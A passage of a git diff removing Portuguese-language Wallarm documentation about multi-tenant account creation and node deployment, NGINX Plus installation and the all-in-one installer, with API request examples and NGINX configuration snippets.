enviadas do **seu próprio cliente API**, é necessário passar o [token API com permissões do Administrador Global](../../user-guides/settings/api-tokens.md#creating-tokens-with-global-role-permissions) na solicitação. - -Neste passo, uma conta de inquilino vinculada a uma conta global será criada. - -1. Envie a solicitação POST para a rota `/v1/objects/client/create` com os seguintes parâmetros: - - Parâmetro | Descrição | Parte da Solicitação | Obrigatório - --------- | -------- | ------------- | --------- - `X-WallarmApi-Token` | [Token API](../../user-guides/settings/api-tokens.md#configuring-tokens) com as permissões do **Administrador Global**. | Cabeçalho | Sim, ao enviar uma solicitação do seu próprio cliente API - `name` | Nome do inquilino. | Corpo | Sim - `vuln_prefix` | Prefixo de vulnerabilidade que a Wallarm usará para rastrear vulnerabilidades e associação com o inquilino. O prefixo deve conter quatro letras maiúsculas ou números e estar ligada ao nome de um inquilino, por exemplo: `TNNT` para o inquilino `Tenant`. | Corpo | Sim - `partner_uuid` | [UUID principal do inquilino](#step-2-get-access-to-the-tenant-account-creation) recebido ao criar uma conta global. | Corpo | Sim - - ??? info "Mostrar exemplo da solicitação enviada do seu próprio cliente API" - === "Nuvem US" - ```bash - curl -v -X POST "https://us1.api.wallarm.com/v1/objects/client/create" -H "X-WallarmApi-Token: " -H "Accept: application/json" -H "Content-Type: application/json" -d "{ \"name\": \"Tenant\", \"vuln_prefix\": \"TNNT\", \"partner_uuid\": \"YOUR_PARTNER_UUID\"}" - ``` - === "Nuvem EU" - ``` bash - curl -v -X POST "https://api.wallarm.com/v1/objects/client/create" -H "X-WallarmApi-Token: " -H "Accept: application/json" -H "Content-Type: application/json" -d "{ \"name\": \"Tenant\", \"vuln_prefix\": \"TNNT\", \"partner_uuid\": \"YOUR_PARTNER_UUID\"}" - ``` - - ??? info "Mostrar exemplo da resposta" - ``` bash - { - "status":200, - "body": { - "id":10110, - "name":"Tenant 1", - "components":["waf"], - "vuln_prefix":"TNTST", - ... - "uuid":"11111111-1111-1111-1111-111111111111", - ... - } - } - ``` - -2. Copie o valor do parâmetro `uuid` da resposta à solicitação. O parâmetro será usado ao vincular o tráfego do inquilino à conta de inquilino. - -Inquilinos criados serão exibidos no Console Wallarm para [usuários globais](../../user-guides/settings/users.md#user-roles). Por exemplo, `Inquilino 1` e `Inquilino 2`: - -![Selecionador de inquilinos no Console Wallarm](../../images/partner-waf-node/clients-selector-in-console.png) - -### Passo 3: Associar tráfego específico ao seu inquilino - -!!! informação "Quando configurar?" - Esta configuração é realizada durante o implementação do node e somente se o tráfego de todos os inquilinos é [processado ou será processado](deploy-multi-tenant-node.md) por apenas um node Wallarm. - - Se um node separado processa o tráfego de cada inquilino, por favor, pule este passo e prossiga para a [implementação e configuração do node](deploy-multi-tenant-node.md). - -Para fornecer à Nuvem Wallarm com informações sobre qual tráfego deve ser exibido em que conta de inquilino, precisamos associar o tráfego específico ao inquilino criado. Para fazer isso, inclua o inquilino no arquivo de configuração NGINX usando seu `uuid` (obtido em **Passo 3**) como o valor para a diretiva [`wallarm_partner_client_uuid`](../../admin-en/configure-parameters-en.md#wallarm_partner_client_uuid). Por exemplo: - -``` -server { - server_name tenant1.com; - wallarm_partner_client_uuid 11111111-1111-1111-1111-111111111111; - ... -} -``` - -Na configuração acima, o tráfego direcionado ao `tenant1.com` será associado ao cliente `11111111-1111-1111-1111-111111111111`. - -## Fornecendo usuários com acesso a contas - -* Na conta de inquilino técnico, há [funções](../../user-guides/settings/users.md) **global** e **regular** para fornecer aos usuários. - - Usuários globais terão acesso a todas as contas de inquilino vinculadas. - - Usuários regulares terão acesso apenas à conta de inquilino técnico. -* Em certas contas de inquilino, há apenas [funções](../../user-guides/settings/users.md) **regular** para fornecer aos usuários. - - Usuários serão capazes de rastrear solicitações bloqueadas, analisar vulnerabilidades descobertas e realizar configurações adicionais do node de filtragem em uma determinada conta de inquilino. Usuários poderão adicionar uns aos outros por conta própria se as funções permitirem essa ação. - -[Prossiga para a implementação e configuração do node de multilocação →](deploy-multi-tenant-node.md) - -## Desativando e ativando contas de inquilino no Console Wallarm - -No Console Wallarm, o usuário com a função **Administrador Global** pode desativar contas de inquilino vinculadas à conta global que este administrador serve. Quando a conta de inquilino é desativada: - -* Usuários desta conta de inquilino não têm acesso ao Console Wallarm. -* Node(s) de filtragem instalados neste [nível de inquilino](deploy-multi-tenant-node.md#multi-tenant-node-characteristics) irão parar o processamento de tráfego. - -Contas desativadas não são excluídas e podem ser ativadas novamente. - -Para desativar uma conta de inquilino, no seletor de inquilino, do menu de inquilino, selecione **Desativar**, então confirme. A conta de inquilino será desativada e oculta da lista de inquilinos. - -![Inquilino - Desativar](../../images/partner-waf-node/tenant-deactivate.png) - -Para ativar uma conta de inquilino anteriormente desativada, no seletor de inquilino, clique em **Mostrar inquilinos desativados**, depois selecione **Ativar** para seu inquilino. \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/multi-tenant/deploy-multi-tenant-node.md b/docs/latest-pt-BR/installation/multi-tenant/deploy-multi-tenant-node.md deleted file mode 100644 index 698e8c38b7..0000000000 --- a/docs/latest-pt-BR/installation/multi-tenant/deploy-multi-tenant-node.md +++ /dev/null @@ -1,160 +0,0 @@ -[waf-mode-instr]: ../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[dynamic-dns-resolution-nginx]: ../../admin-en/configure-dynamic-dns-resolution-nginx.md - -# Implantando e Configurando o Nó Multi-inquilino - -O nó [multi-inquilino](overview.md) protege simultaneamente várias infraestruturas de empresas independentes ou ambientes isolados. - -## Opções de implantação do nó multi-inquilino - -Escolha a opção de implantação de nó multi-inquilino com base em sua infraestrutura e no problema abordado: - -* Implante um nó Wallarm para filtrar o tráfego de todos os clientes ou ambientes isolados da seguinte forma: - - ![Esquema do nó parceiro](../../images/partner-waf-node/partner-traffic-processing-4.0.png) - - * Um único nó Wallarm processa o tráfego de vários inquilinos (Inquilino 1, Inquilino 2). - - --8<-- "../include-pt-BR/waf/features/multi-tenancy/partner-client-term.md" - - * O nó Wallarm identifica o inquilino que recebe o tráfego pelo identificador único de um inquilino ([`wallarm_partner_client_uuid`](../../admin-en/configure-parameters-en.md#wallarm_partner_client_uuid) ou [`partner_client_uuid`](../../admin-en/configuration-guides/envoy/fine-tuning.md#configuration-options-for-the-envoy‑based-wallarm-node) na instalação do Envoy). - * Para os domínios `https://tenant1.com` e `https://tenant2.com`, os registros DNS A com o endereço IP do parceiro ou cliente `225.130.128.241` são configurados. Esta configuração é mostrada como um exemplo, uma configuração diferente pode ser usada do lado do parceiro e do inquilino. - * No lado do parceiro, o proxy de solicitações legítimas para os endereços do inquilino Inquilino 1 (`http://upstream1:8080`) e Inquilino 2 (`http://upstream2:8080`) é configurado. Esta configuração é mostrada como um exemplo, uma configuração diferente pode ser usada do lado do parceiro e do inquilino. - - !!! warning "Se o nó Wallarm é do tipo CDN" - Como a configuração `wallarm_application` não é suportada pelo [Nó Wallarm CDN](../cdn-node.md), este método de implantação também não é suportado pelo tipo de nó CDN. Se o tipo de nó em uso é CDN, por favor, implante vários nós cada um filtrando o tráfego de um inquilino específico. - -* Implante vários nós Wallarm, cada um filtrando o tráfego de um inquilino específico da seguinte forma: - - ![Esquema de vários nós do cliente](../../images/partner-waf-node/client-several-nodes.png) - - * Vários nós Wallarm, cada um filtrando o tráfego de um inquilino específico (Inquilino 1, Inquilino 2). - * Para o domínio https://tenant1.com, o registro DNS com o endereço IP do cliente 225.130.128.241 é configurado. - * Para o domínio https://tenant2.com, o registro DNS com o endereço IP do cliente 225.130.128.242 é configurado. - * Cada nó está fazendo o proxy de solicitações legítimas para os endereços de seu inquilino: - * Nó 1 para Inquilino 1 (http://upstream1:8080). - * Nó 2 para Inquilino 2 (http://upstream2:8080). - -## Características do Nó Multi-inquilino - -Nó multi-inquilino: - -* Pode ser instalado nas mesmas [plataformas](../../installation/supported-deployment-options.md) e de acordo com as mesmas instruções que um nó de filtragem regular. -* Pode ser instalado no nível de **inquilino técnico** ou **inquilino**. Se você deseja fornecer a um inquilino acesso ao Console Wallarm, o nó de filtragem deve ser instalado no nível de inquilino correspondente. -* Pode ser configurado de acordo com as mesmas instruções que um nó de filtragem regular. -* A diretiva [`wallarm_partner_client_uuid`](../../admin-en/configure-parameters-en.md#wallarm_partner_client_uuid) é usada para dividir o tráfego pelos inquilinos. -* A diretiva [`wallarm_application`](../../admin-en/configure-parameters-en.md#wallarm_application) é usada para dividir as configurações pelas aplicações. - -## Requisitos para implantação - -* [Contas de inquilino configuradas](configure-accounts.md) -* Execução de comandos adicionais pelo usuário com a função de **Administrador global** adicionado na [conta do inquilino técnico](configure-accounts.md#tenant-account-structure) -* [Plataforma suportada para a instalação do nó de filtragem](../../installation/supported-deployment-options.md) - -## Recomendações para a implantação de um nó multi-inquilino - -* Se for necessário para o inquilino acessar o Console Wallarm, crie o nó de filtragem dentro de uma conta de inquilino apropriada. -* Configure o nó de filtragem por meio do arquivo de configuração NGINX do inquilino. - -## Procedimento para a implantação de um nó multi-inquilino - -1. No Console Wallarm → **Nós**, clique em **Criar nó** e selecione **Nó Wallarm**. - - !!! info "Mudando um nó Wallarm existente para o modo multi-inquilino" - Se você deseja mudar um nó Wallarm existente para o modo multi-inquilino, use a opção **Torná-lo multi-inquilino** no menu do nó necessário na seção **Nós**. - - Uma vez mudado e confirmado, prossiga para a 4ª etapa.1. Selecione a opção **Nó multi-inquilino**. - - ![Criação do Nó Multi-inquilino](../../images/user-guides/nodes/create-multi-tenant-node.png) -1. Defina um nome para o nó e clique em **Criar**. -1. Copie o token do nó de filtragem. -1. Dependendo da forma de implantação do nó de filtragem, execute as etapas das [instruções apropriadas](../../installation/supported-deployment-options.md). -1. Divida o tráfego entre os inquilinos usando seus identificadores únicos. - - === "NGINX e NGINX Plus" - Abra o arquivo de configuração do NGINX do inquilino e divida o tráfego entre os inquilinos usando a diretiva [`wallarm_partner_client_uuid`](../../admin-en/configure-parameters-en.md#wallarm_partner_client_uuid). Veja exemplo abaixo. - === "Controlador de Ingresso NGINX" - Use a [anotação](../../admin-en/configure-kubernetes-en.md#ingress-annotations) `nginx.ingress.kubernetes.io/wallarm-partner-client-uuid` do Ingress para definir o UUID do inquilino para cada recurso Ingress. Um recurso está relacionado a um inquilino: - - ``` - kubectl annotate --overwrite ingress -n nginx.ingress.kubernetes.io/wallarm-partner-client-uuid=VALUE - ``` - === "Imagem Docker baseada em NGINX" - 1. Abra o arquivo de configuração do NGINX e divida o tráfego entre os inquilinos usando a diretiva [`wallarm_partner_client_uuid`](../../admin-en/configure-parameters-en.md#wallarm_partner_client_uuid). Veja exemplo abaixo. - 1. Execute o container docker [montando o arquivo de configuração](../../admin-en/installation-docker-en.md#run-the-container-mounting-the-configuration-file). - === "Imagem Docker baseada em Envoy" - 1. Abra o arquivo de configuração `envoy.yaml` e divida o tráfego entre os inquilinos usando o parâmetro [`partner_client_uuid`](../../admin-en/configuration-guides/envoy/fine-tuning.md#partner_client_id_param). - 1. Execute o container docker [montando `envoy.yaml` preparado](../../admin-en/installation-guides/envoy/envoy-docker.md#run-the-container-mounting-envoyyaml). - === "Kubernetes Sidecar" - 1. Abra o arquivo de configuração do NGINX e divida o tráfego entre os inquilinos usando a diretiva [`wallarm_partner_client_uuid`](../../admin-en/configure-parameters-en.md#wallarm_partner_client_uuid). - 1. Monte um arquivo de configuração do NGINX no [contêiner do servidor de sidecar Wallarm](../../installation/kubernetes/sidecar-proxy/customization.md#using-custom-nginx-configuration). - - Exemplo do arquivo de configuração do NGINX para o nó de filtragem que processa o tráfego de dois clientes: - - ``` - server { - listen 80; - server_name tenant1.com; - wallarm_mode block; - wallarm_partner_client_uuid 11111111-1111-1111-1111-111111111111; - - location / { - proxy_pass http://upstream1:8080; - } - } - - server { - listen 80; - server_name tenant2.com; - wallarm_mode monitoring; - wallarm_partner_client_uuid 22222222-2222-2222-2222-222222222222; - - location / { - proxy_pass http://upstream2:8080; - } - } - ``` - - * Do lado do inquilino, os registros DNS A com o endereço IP do parceiro são configurados - * Do lado do parceiro, é configurado o proxy de solicitações para os endereços dos inquilinos (`http://upstream1:8080` para o inquilino com `wallarm_partner_client_uuid 11111111-1111-1111-1111-111111111111` e `http://upstream2:8080` para o inquilino com `wallarm_partner_client_uuid 22222222-2222-2222-2222-222222222222`) - * Todas as solicitações de entrada são processadas no endereço do parceiro, solicitações legítimas são encaminhadas para `http://upstream1:8080` para o inquilino com `wallarm_partner_client_uuid 11111111-1111-1111-1111-111111111111` e para `http://upstream2:8080` para o inquilino com `wallarm_partner_client_uuid 22222222-2222-2222-2222-222222222222` - -1. Se necessário, especifique os IDs das aplicações do inquilino usando a diretiva [`wallarm_application`](../../admin-en/configure-parameters-en.md#wallarm_application). - - Exemplo: - - ``` - server { - listen 80; - server_name tenant1.com; - wallarm_mode block; - wallarm_partner_client_uuid 11111111-1111-1111-1111-111111111111; - - location / { - proxy_pass http://upstream1:8080; - } - - location /login { - wallarm_application 21; - ... - } - location /users { - wallarm_application 22; - ... - } - } - ``` - - Dois aplicativos pertencem ao inquilino `11111111-1111-1111-1111-111111111111`: - - * `tenant1.com/login` é a aplicação `21` - * `tenant1.com/users` é a aplicação `22` - -## Configurando um Nó Multi-inquilino - -Para personalizar as configurações do nó de filtragem, use as [diretivas disponíveis](../../admin-en/configure-parameters-en.md). - ---8<-- "../include-pt-BR/waf/installation/common-customization-options-nginx-4.4.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/multi-tenant/overview.md b/docs/latest-pt-BR/installation/multi-tenant/overview.md deleted file mode 100644 index 9d45c2df69..0000000000 --- a/docs/latest-pt-BR/installation/multi-tenant/overview.md +++ /dev/null @@ -1,72 +0,0 @@ -# Visão Geral de Multitenancy - -O recurso de **multitenancy** permite o uso do Wallarm para proteger várias infraestruturas de empresas independentes ou ambientes isolados simultaneamente. - -**Tenant** ([**conta de tenant**](#tenant-accounts)) representa as seguintes entidades: - -* Uma empresa independente (**client**) se integrando ao Wallarm como parceiro. -* Um ambiente isolado se integrando ao Wallarm como cliente. - ---8<-- "../include-pt-BR/waf/features/multi-tenancy/partner-client-term.md" - -## Problemas abordados pelo multitenancy - -O recurso multitenant está a resolver os seguintes problemas: - -* **Tornar-se um parceiro da Wallarm**. O parceiro é uma organização que instala um nó de filtragem dentro de sua infraestrutura de sistema para fornecer aos seus clientes a mitigação de ataques. - - Cada cliente terá uma conta separada no Console Wallarm, para que todos os dados da conta sejam isolados e acessíveis apenas para usuários selecionados. -* **Isolar os dados em ambientes protegidos um do outro**. Um ambiente pode ser um aplicativo separado, um data center, API, ambiente de produção ou de teste, etc. - - Exemplos de problemas relacionados: - - * O nó Wallarm filtra solicitações enviadas para ambientes de produção e teste gerenciados por equipes isoladas. A exigência é garantir que apenas as equipes que gerenciam um determinado ambiente tenham acesso aos seus dados. - * Os nós Wallarm são implantados em vários data centers gerenciados por equipes isoladas e localizados em diferentes regiões, um na Europa e outro na Ásia. A exigência é garantir que apenas os usuários que gerenciam um determinado data center tenham acesso aos seus dados. - - Cada cliente terá uma conta separada no Console Wallarm, para que todos os dados da conta sejam isolados e acessíveis apenas para usuários selecionados. - -## Personalização de componentes Wallarm - -Wallarm permite a personalização do Wallarm Console e de outros componentes. Se estiver usando multitenancy, as seguintes opções de personalização podem ser úteis: - -* Marca do Console Wallarm -* Hospedar Wallarm Console em um domínio personalizado -* Definir o endereço de e-mail para o suporte técnico receber mensagens de clientes ou colegas - -## Contas de tenant - -As contas de tenant são caracterizadas pelo seguinte: - -* Para agrupar corretamente as contas de tenant no Wallarm Console, cada conta de tenant está ligada à conta global, indicando um parceiro ou um cliente com ambientes isolados. -* É fornecido acesso aos usuários de cada conta de tenant separadamente. -* Os dados de cada conta de tenant são isolados e acessíveis apenas aos usuários adicionados à conta. -* Os usuários com [funções](../../user-guides/settings/users.md#user-roles) **globais** podem criar novas contas de tenant e visualizar e editar todos os dados das contas de tenant. - -As contas de tenant são criadas de acordo com a seguinte estrutura: - -![!Estrutura de conta de locatário](../../images/partner-waf-node/accounts-scheme.png) - -* A **conta global** é usada apenas para agrupar contas de tenant por um parceiro ou cliente. -* A **conta de tenant técnico** é usada para adicionar [usuários globais](../../user-guides/settings/users.md#user-roles) fornecendo-lhes acesso às contas de tenant. Usuários globais são normalmente funcionários de empresas parceiras da Wallarm ou clientes Wallarm usando multitenancy para ambientes isolados. -* As **contas de tenant** são usadas para: - - * Fornecer aos inquilinos acesso aos dados sobre ataques detectados e às configurações de filtragem de tráfego. - * Fornecer aos usuários acesso aos dados de uma determinada conta de tenant. - -[Os usuários globais](../../user-guides/settings/users.md#user-roles) podem: - -* Alternar entre contas no Console Wallarm. -* Monitorar [assinaturas e quotas](../../about-wallarm/subscription-plans.md) dos inquilinos. - -![!Seletor de locatário no Console Wallarm](../../images/partner-waf-node/clients-selector-in-console.png) - -* `Locatário técnico` é uma conta de locatário técnico -* `Locatário 1` e `Locatário 2` são contas de locatários - -## Configuração do multitenancy - -O recurso multitenancy está inativo por padrão. Para habilitar e configurar o recurso: - -1. Envie a solicitação para [sales@wallarm.com](mailto:sales@wallarm.com) para adicionar o recurso **Sistema Multi-inquilino** ao seu plano de assinatura. -2. [Configure](configure-accounts.md) as contas de tenant no Console Wallarm. -3. [Implante e configure](deploy-multi-tenant-node.md) o nó Wallarm multi-inquilino. \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/nginx-plus.md b/docs/latest-pt-BR/installation/nginx-plus.md deleted file mode 100644 index d40e33fbaa..0000000000 --- a/docs/latest-pt-BR/installation/nginx-plus.md +++ /dev/null @@ -1,85 +0,0 @@ -[img-wl-console-users]: ../images/check-user-no-2fa.png -[wallarm-status-instr]: ../admin-en/configure-statistics-service.md -[memory-instr]: ../admin-en/configuration-guides/allocate-resources-for-node.md -[waf-directives-instr]: ../admin-en/configure-parameters-en.md -[ptrav-attack-docs]: ../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../images/admin-guides/test-attacks-quickstart.png -[waf-mode-instr]: ../admin-en/configure-wallarm-mode.md -[logging-instr]: ../admin-en/configure-logging.md -[proxy-balancer-instr]: ../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[configure-selinux-instr]: ../admin-en/configure-selinux.md -[configure-proxy-balancer-instr]: ../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[update-instr]: ../updating-migrating/nginx-modules.md -[install-postanalytics-docs]: ../../admin-en/installation-postanalytics-en/ -[waf-mode-recommendations]: ../about-wallarm/deployment-best-practices.md#follow-recommended-onboarding-steps -[ip-lists-docs]: ../user-guides/ip-lists/overview.md -[versioning-policy]: ../updating-migrating/versioning-policy.md#version-list -[install-postanalytics-instr]: ../admin-en/installation-postanalytics-en.md -[waf-installation-instr-latest]: /installation/nginx-plus/ -[img-node-with-several-instances]: ../images/user-guides/nodes/wallarm-node-with-two-instances.png -[img-create-wallarm-node]: ../images/user-guides/nodes/create-cloud-node.png -[nginx-custom]: custom/custom-nginx-version.md -[node-token]: ../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../installation/supported-deployment-options.md -[inline-docs]: inline/overview.md -[oob-docs]: oob/overview.md -[oob-advantages-limitations]: oob/overview.md#advantages-and-limitations -[web-server-mirroring-examples]: oob/web-server-mirroring/overview.md#examples-of-web-server-configuration-for-traffic-mirroring -[img-grouped-nodes]: ../images/user-guides/nodes/grouped-nodes.png - -# Instalando como um Módulo Dinâmico para NGINX Plus - -Estas instruções descrevem os passos para instalar o nó de filtragem Wallarm como um módulo dinâmico para a versão comercial oficial do NGINX Plus. - -!!! info "Instalação all-in-one" - A partir do nó Wallarm 4.6, é recomendado usar a [instalação all-in-one](../installation/nginx/all-in-one.md) que automatiza todas as atividades listadas abaixo e facilita muito a implantação do nó. - -## Casos de uso - ---8<-- "../include-pt-BR/waf/installation/linux-packages/nginx-plus-use-cases.md" - -## Requisitos - ---8<-- "../include-pt-BR/waf/installation/linux-packages/requirements-nginx-plus.md" - ---8<-- "../include-pt-BR/waf/installation/linux-packages/common-steps-to-install-node-nginx-plus.md" - -## 6. Permitir que o Wallarm analise o tráfego - ---8<-- "../include-pt-BR/waf/installation/common-steps-to-enable-traffic-analysis.md" - -## 7. Reinicie o NGINX Plus - ---8<-- "../include-pt-BR/waf/root_perm_info.md" - ---8<-- "../include-pt-BR/waf/restart-nginx-4.4-and-above.md" - -## 8. Configurar o envio de tráfego para a instância Wallarm - ---8<-- "../include-pt-BR/waf/installation/sending-traffic-to-node-inline-oob.md" - -## 9. Teste a operação do nó Wallarm - ---8<-- "../include-pt-BR/waf/installation/test-waf-operation-no-stats.md" - -## 10. Ajuste a solução implantada - -O módulo dinâmico Wallarm com configurações padrão está instalado para o NGINX Plus. O nó de filtragem pode requerer alguma configuração adicional após a implementação. - -As configurações do Wallarm são definidas usando as [diretivas do NGINX](../admin-en/configure-parameters-en.md) ou a interface do usuário do Console Wallarm. As diretivas devem ser definidas nos seguintes arquivos na máquina com o nó Wallarm: - -* `/etc/nginx/conf.d/default.conf` com as configurações do NGINX -* `/etc/nginx/conf.d/wallarm.conf` com as configurações globais do nó de filtragem - - O arquivo é usado para configurações aplicadas a todos os domínios. Para aplicar configurações diferentes a grupos de domínios diferentes, use o arquivo `default.conf` ou crie novos arquivos de configuração para cada grupo de domínios (por exemplo, `example.com.conf` e `test.com.conf`). Mais informações detalhadas sobre os arquivos de configuração do NGINX estão disponíveis na [documentação oficial do NGINX](https://nginx.org/en/docs/beginners_guide.html). -* `/etc/nginx/conf.d/wallarm-status.conf` com as configurações de monitoramento do nó Wallarm. Descrição detalhada está disponível no [link][wallarm-status-instr] -* `/etc/default/wallarm-tarantool` ou `/etc/sysconfig/wallarm-tarantool` com as configurações do banco de dados Tarantool - -Abaixo estão algumas das configurações típicas que você pode aplicar, se necessário: - -* [Configuração do modo de filtragem][waf-mode-instr] - ---8<-- "../include-pt-BR/waf/installation/linux-packages/common-customization-options.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/nginx/all-in-one.md b/docs/latest-pt-BR/installation/nginx/all-in-one.md deleted file mode 100644 index 76d154aeb0..0000000000 --- a/docs/latest-pt-BR/installation/nginx/all-in-one.md +++ /dev/null @@ -1,146 +0,0 @@ -[img-wl-console-users]: ../../images/check-user-no-2fa.png -[wallarm-status-instr]: ../../admin-en/configure-statistics-service.md -[memory-instr]: ../../admin-en/configuration-guides/allocate-resources-for-node.md -[waf-directives-instr]: ../../admin-en/configure-parameters-en.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[waf-mode-instr]: ../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[configure-proxy-balancer-instr]: ../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[update-instr]: ../../updating-migrating/nginx-modules.md -[install-postanalytics-docs]: ../../../admin-en/installation-postanalytics-en/ -[dynamic-dns-resolution-nginx]: ../../admin-en/configure-dynamic-dns-resolution-nginx.md -[waf-mode-recommendations]: ../../about-wallarm/deployment-best-practices.md#follow-recommended-onboarding-steps -[ip-lists-docs]: ../../user-guides/ip-lists/overview.md -[versioning-policy]: ../../updating-migrating/versioning-policy.md#version-list -[install-postanalytics-instr]: ../../admin-en/installation-postanalytics-en.md -[waf-installation-instr-latest]: /installation/nginx/dynamic-module/ -[img-node-with-several-instances]: ../../images/user-guides/nodes/wallarm-node-with-two-instances.png -[img-create-wallarm-node]: ../../images/user-guides/nodes/create-cloud-node.png -[nginx-custom]: ../../faq/nginx-compatibility.md#is-wallarm-filtering-node-compatible-with-the-custom-build-of-nginx -[node-token]: ../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../../user-guides/settings/api-tokens.md -[platform]: ../supported-deployment-options.md -[inline-docs]: ../inline/overview.md -[oob-docs]: ../oob/overview.md -[oob-advantages-limitations]: ../oob/overview.md#advantages-and-limitations -[web-server-mirroring-examples]: ../oob/web-server-mirroring/overview.md#examples-of-web-server-configuration-for-traffic-mirroring -[img-grouped-nodes]: ../../images/user-guides/nodes/grouped-nodes.png -[wallarm-token-types]: ../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[ip-lists-docs]: ../../user-guides/ip-lists/overview.md - -# Implementação com o Instalador All-in-One - -Um **instalador all-in-one** é projetado para simplificar e padronizar o processo de instalação do nó Wallarm como um módulo dinâmico para o NGINX em vários ambientes. Este instalador identifica automaticamente as versões do sistema operacional e do NGINX e instala todas as dependências necessárias. - -Em comparação com os pacotes Linux individuais oferecidos pela Wallarm para [NGINX](dynamic-module.md), [NGINX Plus](../nginx-plus.md) e [NGINX fornecido pela distribuição](dynamic-module-from-distr.md), o **instalador all-in-one** simplifica o processo ao realizar automaticamente as seguintes ações: - -1. Verificar a versão do seu SO e NGINX. -1. Adicionar os repositórios Wallarm para o SO e a versão do NGINX detectados. -1. Instalar os pacotes Wallarm a partir desses repositórios. -1. Conectar o módulo Wallarm instalado ao seu NGINX. -1. Conectar o nó de filtragem à Nuvem Wallarm usando o token fornecido. - -![All-in-one comparado ao manual](../../images/installation-nginx-overview/manual-vs-all-in-one.png) - -## Casos de uso - ---8<-- "../include-pt-BR/waf/installation/all-in-one/use-cases.md" - -## Requisitos - ---8<-- "../include-pt-BR/waf/installation/all-in-one-requirements.md" - -## Passo 1: Instale o NGINX e as dependências - ---8<-- "../include-pt-BR/waf/installation/all-in-one-nginx.md" - -## Passo 2: Prepare o token Wallarm - ---8<-- "../include-pt-BR/waf/installation/all-in-one-token.md" - -## Passo 3: Baixe o instalador Wallarm all-in-one - ---8<-- "../include-pt-BR/waf/installation/all-in-one-installer-download.md" - -## Passo 4: Execute o instalador Wallarm all-in-one - ---8<-- "../include-pt-BR/waf/installation/all-in-one-installer-run.md" - -Os comandos nas etapas a seguir são os mesmos para instalações x86_64 e ARM64. - -## Passo 5: Ative o nó Wallarm para analisar o tráfego - ---8<-- "../include-pt-BR/waf/installation/common-steps-to-enable-traffic-analysis-all-in-one.md" - -## Passo 6: Reinicie o NGINX - ---8<-- "../include-pt-BR/waf/installation/restart-nginx-systemctl.md" - -## Passo 7: Configure o envio de tráfego para o nó Wallarm - ---8<-- "../include-pt-BR/waf/installation/sending-traffic-to-node-inline-oob.md" - -## Passo 8: Teste a operação do nó Wallarm - ---8<-- "../include-pt-BR/waf/installation/test-waf-operation-no-stats.md" - -## Passo 9: Ajuste a solução implementada - -O módulo dinâmico Wallarm com configurações padrão está instalado. O nó de filtragem pode exigir alguma configuração adicional após a implantação. - -As configurações Wallarm são definidas usando as [diretivas NGINX](../../admin-en/configure-parameters-en.md) ou a UI Console Wallarm. As diretivas devem ser definidas nos seguintes arquivos na máquina com o nó Wallarm: - -* `/etc/nginx/nginx.conf` com as configurações do NGINX -* `/etc/nginx/wallarm-status.conf` com as configurações de monitoramento do nó Wallarm. A descrição detalhada está disponível no [link][wallarm-status-instr] -* `/opt/wallarm/etc/collectd/wallarm-collectd.conf.d/wallarm-tarantool.conf` com as configurações para o plugin `collectd` que coleta estatísticas do Tarantool - -Abaixo estão algumas das configurações típicas que você pode aplicar, se necessário: - -* [Configuração do modo de filtragem][waf-mode-instr] -* [Alocando recursos para nós Wallarm][memory-instr] -* [Registrando variáveis do nó Wallarm][logging-instr] -* [Usando o balanceador do servidor proxy atrás do nó de filtragem][proxy-balancer-instr] -* [Limitando o tempo de processamento de uma única solicitação na diretiva `wallarm_process_time_limit`][process-time-limit-instr] -* [Limitando o tempo de espera da resposta do servidor na diretiva NGINX `proxy_read_timeout`](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [Limitando o tamanho máximo de solicitação na diretiva NGINX `client_max_body_size`](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) -* [Configurando a resolução dinâmica DNS no NGINX][dynamic-dns-resolution-nginx] - -## Opções de lançamento - -Assim que você tiver o script all-in-one baixado, você pode obter ajuda sobre isso com: - -``` -sudo sh ./wallarm-4.8.0.x86_64-glibc.sh -- -h -``` - -Que retorna: - -``` -... -Uso: setup.sh [opções]... [argumentos]... [filtragem/pós-análise] - -OPÇÃO DESCRIÇÃO --b, --batch Modo em lote, instalação não interativa. --t, --token TOKEN Token do nó, usado apenas em modo em lote. --c, --cloud CLOUD Nuvem Wallarm, uma das opções EU/US, padrão é EU, usado apenas em modo em lote. --H, --host HOST Endereço da API Wallarm, por exemplo, api.wallarm.com or us1.api.wallarm.com, usado apenas em modo em lote. --P, --port PORT Porto da API Wallarm, por exemplo, 443. - --no-ssl Desativar o SSL para o acesso à API Wallarm. - --no-verify Desativar a verificação de certificados SSL. --f, --force Se houver um nó com o mesmo nome, criar uma nova instância. --h, --help - --version -``` - -Note que: - -* A opção `--batch` habilita um **modo de lote (não interativo)**. Neste modo, se você não usar parâmetros adicionais, o nó é instalado imediatamente após o lançamento do script, sem exigir nenhuma interação ou entrada de dados adicionais do usuário. O modo em lote: - - * Requer `--token` - * Instala o nó na Nuvem da UE por padrão - * Permite modificações no comportamento do script com opções adicionais - -* A chave `filtragem/pós-análise` permite instalar [separadamente](../../admin-en/installation-postanalytics-en.md#postanalytics-module-installation-via-all-in-one-installation-script) 